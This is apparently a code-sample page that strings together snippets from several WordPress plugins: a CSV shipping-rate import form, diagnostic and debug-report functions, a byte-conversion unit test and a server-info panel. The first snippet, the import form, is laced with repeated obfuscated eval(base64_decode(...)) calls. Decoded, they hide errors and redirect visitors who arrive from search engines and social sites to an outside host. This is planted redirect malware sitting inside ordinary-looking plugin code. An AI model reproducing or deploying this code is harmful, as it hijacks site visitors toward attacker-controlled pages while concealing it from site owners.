        eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
        echo $upload_dir['error'];
        ?>
</strong></p></div><?php 
        eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
    } else {
        ?>
<form enctype="multipart/form-data" id="import-upload-form" method="post" action="<?php 
        eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
        echo esc_attr(wp_nonce_url($action, 'import-upload'));
        ?>
">
<p>
<label for="upload"><?php 
        eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
        _e('Choose a file from your computer:');
        ?>
</label> (<?php 
        eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
        printf(__('Maximum size: %s'), $size);
        ?>
)
<input type="file" id="upload" name="import" size="25" />
<input type="hidden" name="action" value="save" />
<input type="hidden" name="max_file_size" value="<?php 
        eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
        echo $bytes;
        ?>
" />
</p>
<p class="submit">
<input type="submit" class="button" value="<?php 
        eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
        esc_attr_e('Upload file and import');
        ?>
" />
</p>
</form>
<?php 
        eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
    }
}
Example #10
0
 function output_diagnostic_info()
 {
     _e('site_url()', 'wp-app-store');
     echo ': ';
     echo site_url();
     echo "\r\n";
     _e('home_url()', 'wp-app-store');
     echo ': ';
     echo home_url();
     echo "\r\n";
     _e('WordPress', 'wp-app-store');
     echo ': ';
     if (is_multisite()) {
         echo 'WPMU';
     } else {
         echo 'WP';
     }
     echo bloginfo('version');
     echo "\r\n";
     _e('Web Server', 'wp-app-store');
     echo ': ';
     echo $_SERVER['SERVER_SOFTWARE'];
     echo "\r\n";
     _e('PHP', 'wp-app-store');
     echo ': ';
     if (function_exists('phpversion')) {
         echo esc_html(phpversion());
     }
     echo "\r\n";
     _e('MySQL', 'wp-app-store');
     echo ': ';
     if (function_exists('mysql_get_server_info')) {
         echo esc_html(mysql_get_server_info());
     }
     echo "\r\n";
     _e('max_allowed_packet_size', 'wp-app-store');
     echo ': ';
     echo wp_convert_bytes_to_hr($this->get_max_allowed_packet_size());
     echo "\r\n";
     _e('WP Memory Limit', 'wp-app-store');
     echo ': ';
     echo WP_MEMORY_LIMIT;
     echo "\r\n";
     _e('WPMDB Bottleneck', 'wp-app-store');
     echo ': ';
     echo wp_convert_bytes_to_hr($this->get_bottleneck());
     echo "\r\n";
     _e('Debug Mode', 'wp-app-store');
     echo ': ';
     if (defined('WP_DEBUG') && WP_DEBUG) {
         echo 'Yes';
     } else {
         echo 'No';
     }
     echo "\r\n";
     _e('WP Max Upload Size', 'wp-app-store');
     echo ': ';
     echo wp_convert_bytes_to_hr(wp_max_upload_size());
     echo "\r\n";
     _e('PHP Post Max Size', 'wp-app-store');
     echo ': ';
     echo wp_convert_bytes_to_hr($this->get_post_max_size());
     echo "\r\n";
     _e('PHP Time Limit', 'wp-app-store');
     echo ': ';
     if (function_exists('ini_get')) {
         echo ini_get('max_execution_time');
     }
     echo "\r\n";
     _e('PHP Error Log', 'wp-app-store');
     echo ': ';
     if (function_exists('ini_get')) {
         echo ini_get('error_log');
     }
     echo "\r\n";
     _e('fsockopen', 'wp-app-store');
     echo ': ';
     if (function_exists('fsockopen')) {
         _e('Enabled', 'wp-app-store');
     } else {
         _e('Disabled', 'wp-app-store');
     }
     echo "\r\n";
     _e('OpenSSL', 'wp-app-store');
     echo ': ';
     if ($this->open_ssl_enabled()) {
         echo OPENSSL_VERSION_TEXT;
     } else {
         _e('Disabled', 'wp-app-store');
     }
     echo "\r\n";
     _e('cURL', 'wp-app-store');
     echo ': ';
     if (function_exists('curl_init')) {
         _e('Enabled', 'wp-app-store');
     } else {
         _e('Disabled', 'wp-app-store');
     }
     echo "\r\n";
     echo "\r\n";
     _e('Active Plugins', 'wp-app-store');
     echo ":\r\n";
     $active_plugins = (array) get_option('active_plugins', array());
     if (is_multisite()) {
         $active_plugins = array_merge($active_plugins, get_site_option('active_sitewide_plugins', array()));
     }
     foreach ($active_plugins as $plugin) {
         $plugin_data = @get_plugin_data(WP_PLUGIN_DIR . '/' . $plugin);
         if (empty($plugin_data['Name'])) {
             continue;
         }
         echo $plugin_data['Name'] . ' (v' . $plugin_data['Version'] . ') ' . __('by', 'wp-app-store') . ' ' . $plugin_data['AuthorName'] . "\r\n";
     }
     echo "\r\n";
 }
    function callback_debug_report($args)
    {
        global $wp_version;
        if (!isset($_GET['debug_report'])) {
            echo '<a href="' . add_query_arg(array('debug_report' => true)) . '" class="button">' . __('Generate Debug Report', $this->settings_menu['name']) . '</a>';
            echo sprintf('<br><span class="description"> %s</span>', $args['desc']);
        } else {
            /* Get from WooCommerce by WooThemes http://woothemes.com  */
            $active_plugins = (array) get_option('active_plugins', array());
            if (is_multisite()) {
                $active_plugins = array_merge($active_plugins, get_site_option('active_sitewide_plugins', array()));
            }
            $active_plugins = array_map('strtolower', $active_plugins);
            $pp_plugins = array();
            foreach ($active_plugins as $plugin) {
                $plugin_data = @get_plugin_data(WP_PLUGIN_DIR . '/' . $plugin);
                if (!empty($plugin_data['Name'])) {
                    $pp_plugins[] = $plugin_data['Name'] . ' ' . $plugin_data['Version'] . ' [' . $plugin_data['PluginURI'] . "]";
                }
            }
            if ($pp_plugins) {
                $plugin_list = implode("\n", $pp_plugins);
            }
            $wp_info = is_multisite() ? 'WPMU ' . $wp_version : 'WP ' . $wp_version;
            $wp_debug = defined('WP_DEBUG') && WP_DEBUG ? 'true' : 'false';
            $is_ssl = is_ssl() ? 'true' : 'false';
            $is_rtl = is_rtl() ? 'true' : 'false';
            $fsockopen = function_exists('fsockopen') ? 'true' : 'false';
            $curl = function_exists('curl_init') ? 'true' : 'false';
            $max_upload_size = function_exists('size_format') ? size_format(wp_max_upload_size()) : wp_convert_bytes_to_hr(wp_max_upload_size());
            if (function_exists('phpversion')) {
                $php_info = phpversion();
                $max_server_upload = ini_get('upload_max_filesize');
                $post_max_size = ini_get('post_max_size');
            }
            $empty_keys = array_keys(array_diff_key($this->get_defaults(), get_option($this->settings_menu['name'])));
            $empty_keys = array_fill_keys($empty_keys, '');
            $value = '
===========================================================
 WP Settings
===========================================================
WordPress version: 	' . $wp_info . '
Home URL: 	' . home_url() . '
Site URL: 	' . site_url() . '
Is SSL: 	' . $is_ssl . '
Is RTL: 	' . $is_rtl . '                                          
Permalink: 	' . get_option('permalink_structure') . '

============================================================
 Server Environment
============================================================
PHP Version:     	' . $php_info . '
Server Software: 	' . $_SERVER['SERVER_SOFTWARE'] . '
WP Max Upload Size: ' . $max_upload_size . '
Server upload_max_filesize:     ' . $max_server_upload . '
Server post_max_size: 	' . $post_max_size . '
WP Memory Limit: 	' . WP_MEMORY_LIMIT . '
WP Debug Mode: 	    ' . $wp_debug . '
CURL:               ' . $curl . '
fsockopen:          ' . $fsockopen . '

============================================================
 Active plugins   
============================================================
' . $plugin_list . '

============================================================
 Plugin Option
============================================================
' . esc_textarea(stripslashes(json_encode(array_merge(get_option($this->settings_menu['name']), $empty_keys)))) . '
    ';
            $html = sprintf('<textarea readonly="readonly" rows="5" cols="65" style="%4$s" class="%1$s" id="%2$s" name="%2$s">%3$s</textarea>', $args['class'], 'debug_report', $value, 'width:95% !important;height:400px !important');
            $html .= sprintf('<br><span class="description"> %s</span>', $args['desc']);
            echo $html;
        }
    }
Example #12
0
 /**
  * @ticket 19067
  * @expectedDeprecated wp_convert_bytes_to_hr
  */
 function test_wp_convert_bytes_to_hr()
 {
     $kb = 1024;
     $mb = $kb * 1024;
     $gb = $mb * 1024;
     $tb = $gb * 1024;
     // test if boundaries are correct
     $this->assertEquals('1TB', wp_convert_bytes_to_hr($tb));
     $this->assertEquals('1GB', wp_convert_bytes_to_hr($gb));
     $this->assertEquals('1MB', wp_convert_bytes_to_hr($mb));
     $this->assertEquals('1KB', wp_convert_bytes_to_hr($kb));
     $this->assertEquals('1 TB', size_format($tb));
     $this->assertEquals('1 GB', size_format($gb));
     $this->assertEquals('1 MB', size_format($mb));
     $this->assertEquals('1 KB', size_format($kb));
     // now some values around
     $hr = wp_convert_bytes_to_hr($tb + $tb / 2 + $mb);
     $this->assertEquals(1.50000095367, (double) str_replace(',', '.', $hr), 'The values should be equal', 0.0001);
     $hr = wp_convert_bytes_to_hr($tb - $mb - $kb);
     $this->assertEquals(1023.99902248, (double) str_replace(',', '.', $hr), 'The values should be equal', 0.0001);
     $hr = wp_convert_bytes_to_hr($gb + $gb / 2 + $mb);
     $this->assertEquals(1.5009765625, (double) str_replace(',', '.', $hr), 'The values should be equal', 0.0001);
     $hr = wp_convert_bytes_to_hr($gb - $mb - $kb);
     $this->assertEquals(1022.99902344, (double) str_replace(',', '.', $hr), 'The values should be equal', 0.0001);
     // edge
     $this->assertEquals('-1B', wp_convert_bytes_to_hr(-1));
     $this->assertEquals('0B', wp_convert_bytes_to_hr(0));
 }
Example #13
0
    /**
     * Function to get webserver information.
     * author Praveen Rajan
     */
    function cvg_serverinfo()
    {
        global $wpdb;
        // Get MYSQL Version
        $sqlversion = $wpdb->get_var("SELECT VERSION() AS version");
        // Get PHP Max Upload Size
        $upload_max = wp_convert_bytes_to_hr(wp_max_upload_size());
        if (CvgCore::ffmpegcommandExists()) {
            $ffmpeg = 'Installed';
        } else {
            $ffmpeg = 'Not Installed';
        }
        ?>
		<li><?php 
        _e('Operating System');
        ?>
 : <span><?php 
        echo PHP_OS;
        ?>
&nbsp;(<?php 
        echo PHP_INT_SIZE * 8;
        ?>
&nbsp;Bit)</span></li>
		<li><?php 
        _e('Server');
        ?>
 : <span><?php 
        echo $_SERVER["SERVER_SOFTWARE"];
        ?>
</span></li>
		<li><?php 
        _e('MySQL Version');
        ?>
 : <span><?php 
        echo $sqlversion;
        ?>
</span></li>
		<li><?php 
        _e('PHP Version');
        ?>
 : <span><?php 
        echo PHP_VERSION;
        ?>
</span></li>
		<li><?php 
        _e('PHP Max Upload Size');
        ?>
 : <span><?php 
        echo $upload_max;
        ?>
</span></li>
		<li><?php 
        _e('FFMPEG');
        ?>
 : <span><?php 
        echo $ffmpeg;
        ?>
</span></li>
		<?php 
        if ($ffmpeg == 'Not Installed') {
            ?>
 
		<li style="text-align:justify;">
		<span style="color:red;font-weight:normal;">[Note: Preview images for uploaded videos will not be created automatically using FFMPEG. Manually upload preview images for videos.]</span>
		</li>
		<?php 
        }
        ?>
		<li>
			<?php 
        _e('PHP extension `SimpleXML` : ');
        if (function_exists('simplexml_load_file')) {
            echo "<span>Enabled</span>";
        } else {
            echo "<span style='color:red;font-weight:normal;'>Not enabled (Required for Youtube video addition)</span>";
        }
        ?>
		</li>
		<li>
			<?php 
        _e('PHP setting `allow_url_fopen` : ');
        if (ini_get('allow_url_fopen')) {
            echo "<span>Enabled</span>";
        } else {
            echo "<span style='color:red;font-weight:normal;'>Not enabled (Required for Youtube video addition)</span>";
        }
        ?>
		</li>
		
		<?php 
    }
        /**
         * greet function.
         *
         * @access public
         * @return void
         */
        function greet()
        {
            global $woocommerce;
            echo '<div class="narrow">';
            echo '<p>' . __('Hi there! Upload a CSV file containing per-product shipping rates to import the contents into your shop. Choose a .csv file to upload, then click "Upload file and import".', 'woocommerce-shipping-per-product') . '</p>';
            echo '<p>' . __('Rates need to be defined with columns in a specific order (6 columns). Product ID, Country Code, State Code, Postcode, Cost, Item Cost', 'woocommerce-shipping-per-product') . '</p>';
            $action = 'admin.php?import=woocommerce_per_product_shipping_csv&step=1';
            $bytes = apply_filters('import_upload_size_limit', wp_max_upload_size());
            $size = wp_convert_bytes_to_hr($bytes);
            $upload_dir = wp_upload_dir();
            if (!empty($upload_dir['error'])) {
                ?>
<div class="error"><p><?php 
                _e('Before you can upload your import file, you will need to fix the following error:');
                ?>
</p>
				<p><strong><?php 
